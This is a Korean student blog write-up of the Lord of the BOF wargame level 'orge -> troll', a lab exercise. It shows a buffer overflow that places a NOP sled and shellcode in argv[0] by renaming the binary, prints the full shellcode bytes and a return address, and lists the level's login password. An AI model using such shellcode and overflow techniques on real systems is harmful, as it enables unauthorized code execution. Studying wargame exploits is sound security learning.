혜랑's STORY

[LOB Redhat] Lv.8 orge -> troll 본문

2021 SISS 21기 활동/겨울방학 System

[LOB Redhat] Lv.8 orge -> troll

hyerang0125 2021. 2. 10. 12:50

문제를 풀기 위해 xshell로 로그인 해 주었다.

ID :  orge / PW : timewalker

가장 먼저 존재하는 파일들을 알아보기 위해 ls -l 명령어를 실행하였다.

troll.c 파일의 내용을 확인해 보았다.

Lv.7에서는 argc가 2 이상이 되어도 괜찮았지만, 이번 문제에서는 argc가 꼭 2개이어야 한다. 즉, argv[1]의 RET이 agrv[2]를 가리키도록 하는 방법을 사용하지 못한다는 것이다. 

환경변수도 초기화하고.. 스택 공간도 초기화하고..

이제 쉘코드가 들어갈 수 있는 공간은 초기화하지 않는 argv[0]만 남게 되었다. 파일명을 변경하는 방법을 찾아보았다.

  • 파일명 변경 : rename 변경전파일명 변경후파일면 대상파일

다음과 같이 코드를 구성해보았다. 이때 주의해야 할 점은 "\x2f"가 없는 쉘코드를 사용해야 한다는 것이다. 쉘코드에 있는 \x2f가 /로 읽히기 때문이다.

rename troll `python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` troll

실행시켜보자.

파일명이 잘 바뀐것을 볼 수 있다.

파일명을 변경하지 않고 사용하기 위해 temp라는 폴더를 만들어 그 폴더 안에 복사해 주었다.

core 파일을 분석해 보자. 뒤에 들어가는 주소는 적당히 있을법한 주소로 넣어주었다.

nop가 들어있는 곳이 바로 argv[0]의 주소이기 때문에 argv[1]의 RET이 "0xbffffaa0"을 가리키도록 하면 될 것같다.

쉘이 실행된다. 원본파일에 공격해보자.

성공적으로 비밀번호를 얻을 수 있었다.